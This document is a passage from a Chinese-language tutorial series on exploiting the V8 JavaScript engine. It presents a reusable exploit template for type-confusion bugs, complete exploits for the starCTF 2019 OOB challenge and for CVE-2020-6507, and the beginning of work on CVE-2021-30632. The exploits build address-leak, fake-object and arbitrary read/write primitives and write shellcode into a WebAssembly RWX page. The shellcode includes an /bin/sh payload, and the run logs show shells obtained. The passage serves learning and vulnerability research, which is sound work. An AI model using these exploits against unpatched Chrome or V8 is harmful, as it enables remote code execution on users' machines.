    0xc03148c9314dd601n,
    0xc101410dc9c141acn,
    0x244c034cf175e038n,
    0x4458d875d1394508n,
    0x4166d0014924408bn,
    0x491c408b44480c8bn,
    0x14888048b41d001n,
    0x5a595e58415841d0n,
    0x83485a4159415841n,
    0x4158e0ff524120ecn,
    0xff57e9128b485a59n,
    0x1ba485dffffn,
    0x8d8d480000000000n,
    0x8b31ba4100000101n,
    0xa2b5f0bbd5ff876fn,
    0xff9dbd95a6ba4156n,
    0x7c063c28c48348d5n,
    0x47bb0575e0fb800an,
    0x894159006a6f7213n,
    0x2e636c6163d5ffdan,
    0x657865n,
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

在上面的示例代码中,出现了几个没说明的函数,以下是这几个函数的代码:

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}

function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}

function d2u(v) {
  f64[0] = v;
  return u32;
}

因为在上述思路中,都是使用浮点型数组,其值为浮点型,但是浮点型的值我们看着不顺眼,设置值我们也是习惯使用十六进制值。所以需要有ftoiitof来进行浮点型和64bit的整数互相转换。

但是因为在新版的v8中,有压缩高32bit地址的特性,所以还需要u2dd2u两个,把浮点型和32bit整数进行互相转换的函数。

最后还有一个hex函数,就是方便我们查看值:

function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

目前在我看来,不说所有v8的漏洞,但是所有类型混淆类的漏洞都能使用同一套模板:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
  f64[0] = v;
  return u32;
}
function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}
function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    ?
}

function addressOf(obj_to_leak)
{
    ?
}

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
  array_map,
  itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

其中打问号的地方,需要根据具体情况来编写,然后就是有些偏移需要根据v8版本情况进行修改,但是主体结构基本雷同。

之后的文章中,打算把我最近研究复现的几个漏洞,套进这个模板中,来进行讲解。

starctf 2019 OOB(三)


我是从starctf 2019的一道叫OOB的题目开始入门的,首先来讲讲这道题。

FreeBuf上有一篇从一道CTF题零基础学V8漏洞利用,我觉得对初学者挺友好的,我就是根据这篇文章开始入门v8的漏洞利用。

环境搭建

$ git clone https://github.com/sixstars/starctf2019.git
$ cd v8
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf2019/pwn-OOB/oob.diff
$ gclient sync -D
$ gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
$ ninja -C out/x64_startctf.release d8

或者可以在我之前分享的build.sh中,在git reset命令后加一句git apply ../starctf2019/pwn-OOB/oob.diff,就能使用build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019一键编译。

源码我就不分析了,因为这题是人为造洞,在obb.diff中,给变量添加了一个oob函数,这个函数可以越界读写64bit。来测试一下:

$ cat test.js
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
  return bigUint64[0];
}

function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

var a = [2.1];
var x = a.oob();
console.log("x is 0x"+hex(ftoi(x)));
%DebugPrint(a);
%SystemBreak();
a.oob(2.1);
%SystemBreak();

使用gdb进行调试,得到输出:

x is 0x16c2a4382ed9
0x242d7b60e041 <JSArray[1]>

可能是因为v8的版本太低了,在这个版本的时候DebugPrint命令只会输出变量的地址,不会输出其结构,我们可以使用job来查看其结构:

pwndbg> job 0x242d7b60e041
0x242d7b60e041: [JSArray]
 - map: 0x16c2a4382ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x15ae01091111 <JSArray[0]>
 - elements: 0x242d7b60e029 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x061441340c71 <FixedArray[0]> {
    #length: 0x1b8f8e3c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x242d7b60e029 <FixedDoubleArray[1]> {
           0: 2.1
 }
pwndbg> x/8gx 0x242d7b60e029-1
0x242d7b60e028:    0x00000614413414f9 0x0000000100000000
0x242d7b60e038:    0x4000cccccccccccd 0x000016c2a4382ed9
0x242d7b60e048:    0x0000061441340c71 0x0000242d7b60e029
0x242d7b60e058:    0x0000000100000000 0x0000061441340561

我们能发现,x的值为变量a的map地址。浮点型数组的结构之前的文章说了,在value之后就是该变量的结构内存区域,所以使用a.oob()可以越界读64bit,就可以读写该变量的map地址,并且在该版本中,地址并没有被压缩,是64bit。

我们继续运行代码:

pwndbg> x/8gx 0x242d7b60e029-1
0x242d7b60e028:    0x00000614413414f9 0x0000000100000000
0x242d7b60e038:    0x4000cccccccccccd 0x4000cccccccccccd
0x242d7b60e048:    0x0000061441340c71 0x0000242d7b60e029
0x242d7b60e058:    0x0000000100000000 0x0000061441340561

发现通过a.oob(2.1);可以越界写64bit,已经把变量a的map地址改为了2.1

套模版写exp

想想我上篇文章说的模板,我们来套模板写exp。

编写addressOf函数

首先我们来写addressOf函数,该函数的功能是,通过把obj数组的map地址改为浮点型数组的map地址,来泄漏任意变量的地址。

所以我们可以这么写:

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

编写fakeObj函数

接下来编写一下fakeObj函数,该函数的功能是把浮点型数组的map地址改为对象数组的map地址,可以伪造出一个对象来,所以我们可以这么写:

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array.oob(obj_map);  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    double_array.oob(array_map); // 改回来,以便后续需要的时候使用
    return faked_obj;
}

完整的exp

好了,把模板中空缺的部分都补充完了,但是还有一个问题。因为模板是按照新版的v8来写的,新版的v8对地址都进行了压缩,但是该题的v8缺没有对地址进行压缩,所以还有一些地方需要进行调整:

首先是读写函数,因为map地址占64bit,长度占64bit,所以elements的地址位于value-0x10,所以读写函数需要进行微调:

function read64(addr)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}

copy_shellcode_to_rwx函数也要进行相关的调整:

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr, ftoi(rwx_addr));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

fake_array也需要进行修改:

var fake_array = [
    array_map,
    itof(0n),
    itof(0x41414141n),
    itof(0x100000000n),
];

计算fake_object_addr地址的偏移需要稍微改改:

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);

获取rwx_addr的过程需要稍微改一改偏移:

var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

偏移改完了,可以整合一下了,最后的exp如下:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array.oob(obj_map);  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    double_array.oob(array_map); // 改回来,以便后续需要的时候使用
    return faked_obj;
}

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

function read64(addr)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr, ftoi(rwx_addr));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();

var fake_array = [
    array_map,
    itof(0n),
    itof(0x41414141n),
    itof(0x100000000n),
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);

var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

执行exp:

$ ./d8 exp.js
[*] leak fake_array addr: 0x8ff3db506f8
[*] leak wasm_instance addr: 0x33312a9e0fd0
[*] leak rwx_page_addr: 0xfc5ec3c6000
[*] buf_backing_store_addr: 0x8ff3db50c10
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
  1. https://www.freebuf.com/vuls/203721.html

CVE-2020-6507(四)


复现CVE-2020-6507

在复习漏洞前,我们首先需要有一个信息收集的阶段:

  1. 可以从Chrome的官方更新公告得知某个版本的Chrome存在哪些漏洞。
  2. 从官方更新公告上可以得到漏洞的bug号,从而在官方的issue列表获取该bug相关信息,太新的可能会处于未公开状态。
  3. 可以在Google搜索Chrome 版本号 "dl.google.com",比如chrome 90.0.4430.93 "dl.google.com",可以搜到一些网站有Chrome更新的新闻,在这些新闻中能获取该版本Chrome官方离线安装包。下载Chrome一定要从dl.google.com网站上下载。

我第二个研究的是CVE-2020-6507,可以从官方公告得知其chrome的bug编号为:1086890

可以很容易找到其相关信息:

受影响的Chrome最高版本为:83.0.4103.97
受影响的V8最高版本为:8.3.110.9

相关PoC:

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];

一键编译相关环境:

$ ./build.sh 8.3.110.9

暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。

研究PoC

运行一下PoC:

$ cat poc.js
......
corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
# 最后一行删了,alert改成console.log
$ ./d8 poc.js
corrupted array length: 12121212

可以发现,改PoC的作用是把corrupted_array数组的长度改为0x24242424/2 = 0x12121212,那么后续如果我们的obj_arraydouble_array在这个长度的内存区域内,那么就可以写addressOffakeObj函数了。

来进行一波测试:

$ cat test.js
......
corrupted_array = trigger(giant_array)[1];
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

%DebugPrint(corrupted_array);
%SystemBreak();
DebugPrint: 0x9ce0878c139: [JSArray]
 - map: 0x09ce08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x09ce082091e1 <JSArray[0]>

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
......
pwndbg> x/32gx 0x9ce0878c139-1
0x9ce0878c138:    0x080406e908241891 0x2424242400000000
0x9ce0878c148:    0x00000004080404b1 0x0878c1390878c119
0x9ce0878c158:    0x080406e9082418e1 0x000000040878c149

调试的时候,发现程序crash了,不过我们仍然可以查看内存,发现该版本的v8,已经对地址进行了压缩,我们虽然把length位改成了0x24242424,但是我们却也把elements位改成了0x00000000。在这个步骤的时候,我们没有泄漏过任何地址,有没有其他没办法构造一个elements呢。

最后发现堆地址是从低32bit地址为0x00000000开始的,后续变量可能会根据环境的问题有所变动,那么前面的值是不是低32bit地址不会变呢?

改了改测试代码,如下所示:

$ cat test.js
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

array = Array(0x40000).fill(1.1);
......
corrupted_array = trigger(giant_array)[1];
%DebugPrint(double_array);
var a = corrupted_array[0];
console.log("a = 0x" + ftoi(a).toString(16));
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x288c089017d5: [JSArray] in OldSpace
 - map: 0x288c08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x288c082091e1 <JSArray[0]>
 - elements: 0x288c089046ed <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x288c080406e9 <FixedArray[0]> {
    #length: 0x288c08180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x288c089046ed <FixedDoubleArray[1]> {
           0: 1.1
 }
0x288c08241891: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x288c08241869 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x288c08180451 <Cell value= 1>
 - instance descriptors #1: 0x288c08209869 <DescriptorArray[1]>
 - transitions #1: 0x288c082098b5 <TransitionArray[4]>Transition array #1:
     0x288c08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288c082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x288c082091e1 <JSArray[0]>
 - constructor: 0x288c082090b5 <JSFunction Array (sfi = 0x288c08188e45)>
 - dependent code: 0x288c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

a = 0x80406e908241891

成功泄漏出double_array变量的map地址,再改改测试代码:

$ cat test.js
......
length_as_double =
    new Float64Array(new BigUint64Array([0x2424242408901c75n]).buffer)[0];
......
%DebugPrint(double_array);
%DebugPrint(obj_array);
var array_map = corrupted_array[0];
var obj_map = corrupted_array[4];
console.log("array_map = 0x" + ftoi(array_map).toString(16));
console.log("obj_map = 0x" + ftoi(obj_map).toString(16));

再来看看结果:

$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x34f108901c7d: [JSArray] in OldSpace
 - map: 0x34f108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x34f1082091e1 <JSArray[0]>
 - elements: 0x34f108904b95 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x34f1080406e9 <FixedArray[0]> {
    #length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34f108904b95 <FixedDoubleArray[1]> {
           0: 1.1
 }
......
DebugPrint: 0x34f108901c9d: [JSArray] in OldSpace
 - map: 0x34f1082418e1 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x34f1082091e1 <JSArray[0]>
 - elements: 0x34f108904b89 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x34f1080406e9 <FixedArray[0]> {
    #length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34f108904b89 <FixedArray[1]> {
           0: 0x34f108901c8d <Object map = 0x34f108244e79>
 }
......
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1

成功泄漏了map地址,不过该方法的缺点是,只要修改了js代码,堆布局就会发生一些变化,就需要修改elements的值,所以需要先把所有代码写好,不准备变的时候,再来修改一下这个值。

不过也还有一些方法,比如堆喷,比如把elements值设置的稍微小一点,然后在根据map的低20bit为0x891,来搜索map地址,不过这些方法本文不再深入研究,有兴趣的可以自行进行测试。

编写addressOf函数

现在我们能来编写addressOf函数了:

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    corrupted_array[4] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    corrupted_array[4] = obj_map; // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

编写fakeObj函数

接下来就是编写fakeObj函数:

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    corrupted_array[0] = obj_map;  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    corrupted_array[0] = array_map; // 改回来,以便后续需要的时候使用
    return faked_obj;
}

修改偏移

改版本中,需要修改的偏移有:

$ cat exp1.js
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
......
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
......
}
......
fake_object_addr = fake_array_addr + 0x48n;
......

其他都模板中一样,最后运行exp1:

$ ./d8 --allow-natives-syntax exp1.js
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8040a3d5962db08
[*] leak wasm_instance addr: 0x8040a3d082116bc
[*] leak rwx_page_addr: 0x28fd83851000
[*] buf_backing_store_addr: 0x9c0027c000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

优化exp

前面内容通过套模板的方式,写出了exp1,但是却有些许不足,因为elements的值是根据我们本地环境测试出来的,即使在测试环境中,代码稍微变动,就需要修改,如果只是用来打CTF,我觉得这样就足够了。但是如果拿去实际的环境打,exp大概需要进行许多修改。

接下来,我将准备讲讲该漏洞原理,在理解其原理后,再来继续优化我们的exp。那为啥之前花这么长时间讲这个不太实用的exp?而不直接讲优化后的exp?因为我想表明,在只有PoC的情况下,也可以通过套模板,写出exp。

漏洞成因这块我不打算花太多时间讲,因为我发现,V8更新的太快了,你花大量时间来分析这个版本的代码,分析这个漏洞的相关代码,但是换一个版本,会发现代码发生了改变,之前分析的已经过时了。所以我觉得起码在初学阶段,没必要深挖到最底层。

bugs.chromium.org上已经很清楚了解释了该漏洞了。

NewFixedArrayNewFixedDoubleArray没有对数组的大小进行判断,来看看NewFixedDoubleArray修复后的代码,多了一个判断:

macro NewFixedDoubleArray<Iterator: type>(
......
  if (length > kFixedDoubleArrayMaxLength) deferred {
      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
    }
......

再去搜一搜源码,发现kFixedDoubleArrayMaxLength = 671088612,说明一个浮点型的数组,最大长度为67108862

我们再来看看PoC:

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

我们来算算,array的长度为0x40000args的为0xffarray,然后args还push了一个长度为0x3fffc的数组。

通过Array.prototype.concat.apply函数,把args变量变成了长度为0x40000 * 0xff + 0x3fffc = 67108860的变量giant_array

接着再使用splice添加了3个值,该函数将会执行NewFixedDoubleArray函数,从而生成了一个长度为67108860+3=67108863的浮点型数组。

该长度已经超过了kFixedDoubleArrayMaxLength的值,那么改漏洞要怎么利用呢?

来看看trigger函数:

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);  // 触发JIT优化
}

该函数传入的为giant_array数组,其长度为67108863,所以x = 67108863,经过计算后,得到x = 7,然后执行corrupting_array[x] = length_as_double;corrupting_array原本以数组的形式储存浮点型,长度为2,但是给其index=7的位置赋值,将会把该变量的储存类型变为映射模式。

这么一看,好像并没有什么问题。但是V8有一个特性,会对执行的比较多的代码进行JIT优化,会删除一些冗余代码,加速代码的执行速度。

比如对trigger函数进行优化,V8会认为x的最大长度为67108862,那么x最后的计算结果最大值为1,那么x最后的值不是0就是1,corrupting_array的长度为2,不论对其0还是1赋值都是有效的。原本代码在执行corrupting_array[x]执行的时候,会根据x的值对corrupting_array边界进行检查,但是通过上述的分析,JIT认为这种边界检查是没有必要的,就把检查的代码给删除了。这样就直接对corrupting_array[x]进行赋值,而实际的x值为7,这就造成了越界读写,而index=7这个位置,正好是corrupted_array变量的elementslength位,所以PoC达到了之前分析的那种效果。

知道原理了,那么我们就能对该函数进行一波优化了,我最后的优化代码如下:

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];
function trigger(array) {
  var x = array.length;
  x -= 67108861; // 1 2
  x *= 10; // 10 20
  x -= 9; // 1 11
  let test1 = [0.1, 0.1];
  let test2 = [test1];
  let test3 = [0.1];
  test1[x] = length_as_double; // fake length
  return [test1, test2, test3];
}

x最后的值为11,修改到了test3的长度,但是并不会修改到elements的值,因为中间有个test2,导致产生了4字节的偏移,所以我们可以让我们只修改test3的长度而不影响到elements

根据上述思路,我们对PoC进行一波修改:

function trigger(array, oob) {
  var x = array.length;
  x -= 67108861; // 1 2
  x *= 10; // 10 20
  x -= 9; // 1 11
  oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
  vul = [1.1, 2.1];
  pad = [vul];
  double_array = [3.1];
  obj = {"a": 2.1};
  obj_array = [obj];
  trigger(giant_array, vul);
}
%DebugPrint(double_array);
%DebugPrint(obj_array);
//%SystemBreak();
var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));

接下来只要在exp1的基础上对addressOffakeObj进行一波微调,就能形成我们的exp2了:

$ cat exp2.js
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    double_array[8] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    double_array[8] = obj_map; // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array[1] = obj_map;  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    return faked_obj;
}
$ ./d8  exp2.js
[*] array_map = 0x80406e908241891
[*] obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8241891591b0d88
[*] leak wasm_instance addr: 0x8241891082116f0
[*] leak rwx_page_addr: 0x3256ebaef000
[*] buf_backing_store_addr: 0x7d47f2d000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

CVE-2021-30632(五)


复现CVE-2021-30632

第三个研究的是CVE-2021-30632,其chrome的bug编号为:1247763

不过其相关信息还未公开,但是我们仍然能得知:

受影响的Chrome最高版本为:93.0.4577.63
受影响的V8最高版本为:9.3.345.16

不过网上能搜到一篇分析文章Chrome in-the-wild bug analysis: CVE-2021-30632,不过文章中只有PoC,不包含EXP,PoC如下:

function foo(b) {
  x = b;
}

function oobRead() {
  return [x[20],x[24]];
}

function oobWrite(addr) {
  x[24] = addr;
}

//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;

var x = arr0;

var arr = new Array(30); arr.fill(4); arr.a = 1;
...
//Optimzie foo
for (let i = 0; i < 19321; i++) {
  if (i == 19319) arr2[0] = 1.1;
  foo(arr1);
}
//x now has double elements, MapB
x[0] = 1.1;
//optimize oobRead
for (let i = 0; i < 20000; i++) {
  oobRead();
}
//optimize oobWrite
for (let i = 0; i < 20000; i++) oobWrite(1.1);
//Restore map back to MapA, with SMI elements
foo(arr);
var z = oobRead(); 
oobWrite(0x41414141);

一键编译相关环境:

$ ./build.sh 9.3.345.16

研究PoC

稍微修改一下PoC,然后运行:

$ cat poc.js
......
function oobRead() {
  return x[16];
}
......
var z = oobRead(); 
console.log(hex(ftoi(z)));
%DebugPrint(x);
%SystemBreak();
$ ./d8 poc.js
80023b500000002
DebugPrint: 0x34070804a1a1: [JSArray]
 - map: 0x340708207939 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3407081cc139 <JSArray[0]>
 - elements: 0x34070804a1b1 <FixedArray[30]> [HOLEY_SMI_ELEMENTS]
 - length: 30
 - properties: 0x34070804a231 <PropertyArray[3]>
 - All own properties (excluding elements): {
